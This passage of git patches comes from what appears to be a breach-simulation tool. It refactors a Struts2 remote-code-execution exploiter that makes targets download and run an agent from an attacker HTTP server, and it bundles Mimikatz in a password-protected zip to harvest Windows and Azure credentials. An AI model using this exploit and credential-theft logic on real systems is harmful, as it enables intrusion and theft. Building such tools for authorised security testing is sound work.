self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports) + vulnerable_urls = [] + for url in urls: # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = FIND_FILE % path - resp = self.exploit(host, command) - if 'No such file' in resp: + url = self.get_redirected(url) + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - else: + # We need to escape backslashes for our exploiter + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) + config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: return False + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + @staticmethod def get_redirected(url): # Returns false if url is not right @@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter): LOG.error("Can't reach struts2 server") return False - @staticmethod - def exploit(url, cmd): + def exploit(self, url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host @@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter): page = e.partial return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports From 6cb058eb1d325c05687caa704d8e82c43818ef1f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:04:23 +0300 Subject: [PATCH 140/243] Struts2 refactored for framework fixes --- infection_monkey/exploit/struts2.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 395fe422a..2b672f290 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -26,45 +26,39 @@ class Struts2Exploiter(WebRCE): super(Struts2Exploiter, self).__init__(host) def exploit_host(self): - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports) + urls = self.build_potential_urls(ports) vulnerable_urls = [] for url in urls: # Get full URL url = self.get_redirected(url) - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # We need to escape backslashes for our exploiter - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) - config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0]) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True @@ -86,6 +80,8 @@ class Struts2Exploiter(WebRCE): :param cmd: Code to try and execute on host :return: response """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ From 9ef44ef71f35cef2c3322cfdfc43ca2ca0b15d67 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:31:50 +0300 Subject: [PATCH 141/243] Struts2 refactored to use default_exploit_host function --- infection_monkey/exploit/struts2.py | 65 +++++++++++++---------------- 1 file changed, 28 insertions(+), 37 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 2b672f290..387c4bfa8 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,7 @@ import re import logging from web_rce import WebRCE -import copy +from posixpath import join __author__ = "VakarisZ" @@ -23,45 +23,36 @@ class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) + super(Struts2Exploiter, self).__init__(host, None) def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports) - vulnerable_urls = [] - for url in urls: - # Get full URL - url = self.get_redirected(url) - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + return self.default_exploit_host(dropper=True) - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - data = self.upload_monkey(vulnerable_urls[0]) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + redirected_url = self.get_redirected(url) + url_list.append(redirected_url) + if not url_list: + LOG.info("No attack url's were built") + return url_list @staticmethod def get_redirected(url): From df4b1268d13f55218c3354bb6f827c1382f48870 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 14:33:00 +0300 Subject: [PATCH 142/243] Refactored struts2 to overload get_exploit_config --- infection_monkey/exploit/struts2.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 387c4bfa8..f6ede586f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -25,8 +25,10 @@ class Struts2Exploiter(WebRCE): def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) - def exploit_host(self): - return self.default_exploit_host(dropper=True) + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config def build_potential_urls(self, ports, extensions=None): """ @@ -47,7 +49,7 @@ class Struts2Exploiter(WebRCE): protocol = "https" else: protocol = "http" - url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) redirected_url = self.get_redirected(url) url_list.append(redirected_url) if not url_list: From cdc576e77e654485db0cd33a09a739552eb7fd0d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 22 Aug 2018 19:31:26 +0300 Subject: [PATCH 143/243] Make mimikatz inside zip and extract only if config says so --- infection_monkey/config.py | 3 +- infection_monkey/exploit/sambacry.py | 7 +-- infection_monkey/exploit/tools.py | 7 --- infection_monkey/monkey.spec | 31 ++++++++--- infection_monkey/pyinstaller_utils.py | 24 +++++++++ infection_monkey/readme.txt | 6 ++- .../system_info/mimikatz_collector.py | 31 +++++++++-- .../system_info/windows_info_collector.py | 13 +++-- infection_monkey/utils.py | 1 + monkey_island/cc/services/config.py | 51 +++++++++---------- 10 files changed, 119 insertions(+), 55 deletions(-) create mode 100644 infection_monkey/pyinstaller_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..8b458bd02 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -273,13 +273,12 @@ class Configuration(object): # system info collection collect_system_info = True + should_use_mimikatz = True ########################### # systeminfo config ########################### - mimikatz_dll_name = "mk.dll" - extract_azure_creds = True diff --git a/infection_monkey/exploit/sambacry.py b/infection_monkey/exploit/sambacry.py index 930cd8854..bddac84a1 100644 --- a/infection_monkey/exploit/sambacry.py +++ b/infection_monkey/exploit/sambacry.py @@ -19,7 +19,8 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth +from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from pyinstaller_utils import get_binary_file_path __author__ = 'itay.mizeretz' @@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter): def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb") else: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..28f65cc69 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -471,13 +471,6 @@ def build_monkey_commandline(target_host, depth, location=None): GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def get_binaries_dir_path(): - if getattr(sys, 'frozen', False): - return sys._MEIPASS - else: - return os.path.dirname(os.path.abspath(__file__)) - - def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index cb9c6130e..7e3e254c4 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -1,22 +1,37 @@ # -*- mode: python -*- import os import platform +import zipfile + +# Name of zip file that will be created +MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +# Name of zip file in monkey. That's the name of the file in the _MEI folder +MIMIKATZ_ZIP_NAME_MONKEY = MIMIKATZ_ZIP_NAME +# Name of mimikatz dll in zip archive +MIMIKATZ_DLL_NAME_ZIP = 'tmpzipfile123456.dll' +# Password for mimikatz zip +MIMIKATZ_ZIP_PASSWORD = 'HEDFGFDSgfsdg4235342#@$^@#shd35' + + +def get_mimikatz_zip_path(): + if platform.architecture()[0] == "32bit": + return '.\\bin\\mk32.zip' + else: + return '.\\bin\\mk64.zip' + + a = Analysis(['main.py'], pathex=['.', '..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] -if platform.system().find("Windows")>= 0: +if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - if platform.architecture()[0] == "32bit": - a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] - else: - a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] + a.binaries += [(MIMIKATZ_ZIP_NAME_MONKEY, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, diff --git a/infection_monkey/pyinstaller_utils.py b/infection_monkey/pyinstaller_utils.py new file mode 100644 index 000000000..c31e7748c --- /dev/null +++ b/infection_monkey/pyinstaller_utils.py @@ -0,0 +1,24 @@ +import os +import sys + + +__author__ = 'itay.mizeretz' + +def get_binaries_dir_path(): + """ + Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) + :return: Binaries dir path + """ + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + + +def get_binary_file_path(filename): + """ + Gets the path to a binary file + :param filename: name of the file + :return: Path to file + """ + return os.path.join(get_binaries_dir_path(), filename) diff --git a/infection_monkey/readme.txt b/infection_monkey/readme.txt index 67c4033d9..0096f98ab 100644 --- a/infection_monkey/readme.txt +++ b/infection_monkey/readme.txt @@ -70,4 +70,8 @@ Sambacry requires two standalone binaries to execute remotely. Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from https://github.com/guardicore/mimikatz/releases/tag/1.0.0 -Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin \ No newline at end of file +Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin +Alternatively, if you build Mimikatz, put each version in a zip file. +1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll +2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. +3. The zip file should be named mk32.zip/mk64.zip accordingly. \ No newline at end of file diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index 65f326256..365a00648 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -2,6 +2,9 @@ import binascii import ctypes import logging import socket +import zipfile + +from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -13,12 +16,30 @@ class MimikatzCollector(object): Password collection module for Windows using Mimikatz. """ - def __init__(self): - try: + # Name of Mimikatz DLL. Must be name of file in Mimikatz zip. + MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll' - self._isInit = False - self._config = __import__('config').WormConfiguration - self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec + MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' + + # Password to Mimikatz zip file + MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G' + + def __init__(self): + self._config = __import__('config').WormConfiguration + self._isInit = False + self._dll = None + self._collect = None + self._get = None + self.init_mimikatz() + + def init_mimikatz(self): + try: + with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip: + mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(), + pwd=self.MIMIKATZ_ZIP_PASSWORD) + + self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) self._collect = collect_proto(("collect", self._dll)) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 610c4e8e3..b3657f0f0 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -15,6 +15,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self._config = __import__('config').WormConfiguration def get_info(self): """ @@ -28,7 +29,13 @@ class WindowsInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() - mimikatz_collector = MimikatzCollector() - mimikatz_info = mimikatz_collector.get_logon_info() - self.info["credentials"].update(mimikatz_info) + self._get_mimikatz_info() + return self.info + + def _get_mimikatz_info(self): + if self._config.should_use_mimikatz: + LOG.info("Using mimikatz") + self.info["credentials"].update(MimikatzCollector().get_logon_info()) + else: + LOG.info("Not using mimikatz") diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index e2f66bd03..b39cd44f5 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -29,3 +29,4 @@ def is_64bit_python(): def is_windows_os(): return sys.platform.startswith("win") + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..ebd099e1e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -279,6 +279,31 @@ SCHEMA = { } } }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, "life_cycle": { "title": "Life cycle", "type": "object", @@ -339,12 +364,6 @@ SCHEMA = { "description": "The name of the mutex used to determine whether the monkey is already running" }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", @@ -536,26 +555,6 @@ SCHEMA = { "description": "List of SSH key pairs to use, when trying to ssh into servers" } } - }, - "systemInfo": { - "title": "System collection", - "type": "object", - "properties": { - "mimikatz_dll_name": { - "title": "Mimikatz DLL name", - "type": "string", - "default": "mk.dll", - "description": - "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" - }, - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - } - } } } }, From ef4eadf64a6c290203177a4f1655363114cc26b5 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:51:11 +0300 Subject: [PATCH 144/243] struts built_potential_url's now use map function to save code --- infection_monkey/exploit/struts2.py | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f6ede586f..867ab92fa 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -38,22 +38,8 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = [] - if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) - redirected_url = self.get_redirected(url) - url_list.append(redirected_url) - if not url_list: - LOG.info("No attack url's were built") + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = list(map(self.get_redirected, url_list)) return url_list @staticmethod From 5489a68049eea9606a57853fe558b3ac911f47f8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 23 Aug 2018 14:10:50 +0300 Subject: [PATCH 145/243] Remove unecessary consts --- infection_monkey/monkey.spec | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 7e3e254c4..2f536dcdc 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -3,14 +3,8 @@ import os import platform import zipfile -# Name of zip file that will be created -MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' # Name of zip file in monkey. That's the name of the file in the _MEI folder -MIMIKATZ_ZIP_NAME_MONKEY = MIMIKATZ_ZIP_NAME -# Name of mimikatz dll in zip archive -MIMIKATZ_DLL_NAME_ZIP = 'tmpzipfile123456.dll' -# Password for mimikatz zip -MIMIKATZ_ZIP_PASSWORD = 'HEDFGFDSgfsdg4235342#@$^@#shd35' +MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' def get_mimikatz_zip_path(): @@ -31,7 +25,7 @@ a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINAR if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.binaries += [(MIMIKATZ_ZIP_NAME_MONKEY, get_mimikatz_zip_path(), 'BINARY')] + a.binaries += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, @@ -43,4 +37,5 @@ exe = EXE(pyz, debug=False, strip=None, upx=True, - console=True , icon='monkey.ico') + console=True, + icon='monkey.ico') From 1c5c010028d8e680200bbce441c94f0a4db6968f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:37:31 +0300 Subject: [PATCH 146/243] More pythonic and clean way to apply function to url_list --- infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 867ab92fa..ae0bdd948 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :return: Array of url's to try and attack """ url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = list(map(self.get_redirected, url_list)) + url_list = [self.get_redirected(url) for url in url_list] return url_list @staticmethod From 3ff823ab04dff792ea87e99a906e1fe2f1b19ead Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 15:06:58 +0300 Subject: [PATCH 147/243] Removed unused import statement --- infection_monkey/exploit/struts2.py | 1 - 1 file changed, 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index ae0bdd948..fe4a73c09 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,6 @@ import re import logging from web_rce import WebRCE -from posixpath import join __author__ = "VakarisZ" From c373bfbcfb3f3af2a669c36c67998727188b12d8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 23 Aug 2018 15:17:08 +0300 Subject: [PATCH 148/243] * integrated parts of the pth report to the main report module. * Changed the ui a bit, removed some tables and add information to the current tables. --- monkey_island/cc/services/pth_report.py | 59 +++++++++++++++---- monkey_island/cc/services/pth_report_utils.py | 40 +++++++------ monkey_island/cc/services/report.py | 45 +++++++++----- .../components/pages/PassTheHashMapPage.js | 3 - .../cc/ui/src/components/pages/ReportPage.js | 49 +++------------ .../report-components/StrongUsers.js | 3 +- 6 files changed, 106 insertions(+), 93 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 3640e29e2..03167f81a 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -24,7 +24,8 @@ class PTHReportService(object): if count <= 1: continue for sid in pth.GetSidsBySecret(secret): - usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) + if sid: + usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) usernames_lists.append({'cred_group': usernames_per_sid_list}) @@ -56,7 +57,7 @@ class PTHReportService(object): return shared_admin_machines @staticmethod - def get_strong_users_on_crit_services(pth): + def get_strong_users_on_crit_services_by_machine(pth): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) strong_users_crit_list = [] @@ -77,13 +78,34 @@ class PTHReportService(object): 'ip': m.GetIp(), 'hostname': m.GetHostName(), 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, + 'services': m.GetCriticalServicesInstalled(), 'threatening_users': threatening_users_attackers_dict } strong_users_crit_list.append(machine) return strong_users_crit_list + + @staticmethod + def get_strong_users_on_crit_services_by_user(pth): + critical_servers = pth.GetCritialServers() + strong_users_dict = {} + + for server in critical_servers: + users = pth.GetThreateningUsersByVictim(server) + for sid in users: + username = pth.GetUsernameBySid(sid) + if username not in strong_users_dict: + strong_users_dict[username] = { + 'services_names': [], + 'machines': [] + } + strong_users_dict[username]['username'] = username + strong_users_dict[username]['domain'] = server.GetDomainName() + strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() + strong_users_dict[username]['machines'].append(server.GetHostName()) + + return strong_users_dict.values() + @staticmethod def get_strong_users_on_non_crit_services(pth): threatening = dict(map(lambda x: (x, 